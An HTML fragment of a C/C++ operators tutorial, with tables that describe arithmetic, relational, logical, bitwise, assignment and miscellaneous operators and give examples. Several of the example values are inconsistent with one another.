<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">–</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Subtracts second operand from the first</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">X – Y = 8</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">*</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Multiplies both operands</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">X * Y = 84</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">/</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Divides numerator by de-numerator</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">X / Y = 2</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">%</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Modulus Operator and remainder of after an integer division</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Y % X= 0</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">++</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Increment operator, increases integer value by one</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">X++ = 15</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">—</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Decrement operator, decreases integer value by one</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">X– = 13</td></tr>
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II.Relational Operators</h2>
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<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Operator</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Description</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Example</th></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">==</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Checks if the values of two operands are equal or not. If yes, then the condition becomes true.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">(X == Y) is not true.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">!=</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Checks if the values of two operands are equal or not. If the values are not equal, then the condition becomes true.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">(X != Y) is true.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Checks if the value of left operand is greater than the value of the right operand. If yes, then the condition becomes true.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">(X > Y) is not true.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Checks if the value of left operand is less than the value of the right operand. If yes, then the condition becomes true.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">(X < Y) is true.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">>=</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Checks if the value of left operand is greater than or equal to the value of the right operand. If yes, then the condition becomes true.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">(X >= Y) is not true.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><=</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Checks if the value of left operand is less than or equal to the value of the right operand. If yes, then the condition becomes true.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">(X <= Y) is true</td></tr>
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III.Logical Operators</h2>
<table class="table table-bordered" style="background-color: white; border-collapse: collapse; border-spacing: 0px; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Operator</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Description</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Example</th></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">&&</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Called Logical AND operator. If both the operands are non-zero, then the condition becomes true.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">(X && Y) is false.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">||</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Called Logical OR Operator. If any of the two operands is non-zero, then the condition becomes true.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">(X || Y) is true.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">!</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Called Logical NOT Operator. It is used to reverse the logical state of its operand. If a condition is true, then Logical NOT operator will make it false.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">!(X && Y) is true.</td></tr>
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IV. Bit-wise Operators</h2>
<table class="table table-bordered" style="background-color: white; border-collapse: collapse; border-spacing: 0px; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Operator</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Description</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Example</th></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">&</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Binary AND Operator copy a bit to the result if it exists in both operands.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">(X &Y) = 12</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">|</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Binary OR Operator copies a bit if it exists in either operand.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">(X | Y) = 61</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">^</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Binary XOR Operator copies the bit if it is set in one operand but not both.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">(X ^ Y) = 49</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">~</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Binary One's Complement Operator is unary and has the effect of ‘flipping’ bits.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">(~X ) = -211,</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><<</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Binary Left Shift Operator. The left operands value is moved left by the number of bits specified by the right operand.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">X << 2 = 200</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">>></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Binary Right Shift Operator. The left operands value is moved right by the number of bits specified by the right operand.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">X >> 2 = 19</td></tr>
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V.Assignment Operators</h2>
<table class="table table-bordered" style="background-color: white; border-collapse: collapse; border-spacing: 0px; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Operator</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Description</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Example</th></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">=</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Simple assignment operator. Assigns values from right side operands to left side operand</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Z = X + Y will assign the value of X + Y to Z</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">+=</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Add AND assignment operator. It adds the right operand to the left operand and assigns the result to the left operand.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Z += X is equivalent to Z = Z + X</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">-=</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Subtract AND assignment operator. It subtracts the right operand from the left operand and assigns the result to the left operand.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Z -= X is equivalent to Z = Z – X</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">*=</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Multiply AND assignment operator. It multiplies the right operand with the left operand and assigns the result to the left operand.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Z *= X is equivalent to Z = Z * X</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">/=</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Divide AND assignment operator. It divides the left operand with the right operand and assigns the result to the left operand.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Z /= X is equivalent to Z = Z/ X</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">%=</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Modulus AND assignment operator. It takes modulus using two operands and assigns the result to the left operand.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Z %= X is equivalent to Z = Z % X</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><<=</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Left shift AND assignment operator.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Z <<= 2 is same as Z = Z << 2</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">>>=</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Right shift AND assignment operator.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Z >>= 2 is same as Z = Z >> 2</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">&=</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Bitwise AND assignment operator.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Z &= 2 is same as Z = Z & 2</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">^=</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Bitwise exclusive OR and assignment operator.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Z ^= 2 is same as Z = Z ^ 2</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">|=</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Bitwise inclusive OR and assignment operator.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Z |= 2 is same as Z = Z | 2</td></tr>
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VI.Misc Operators</h2>
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<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Operator</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Description</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Example</th></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">sizeof()</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Returns the size of a variable.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">sizeof(x), where a is an integer, will return 4.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">&</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Returns the address of a variable.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">&X; returns the actual address of the variable.</td></tr>
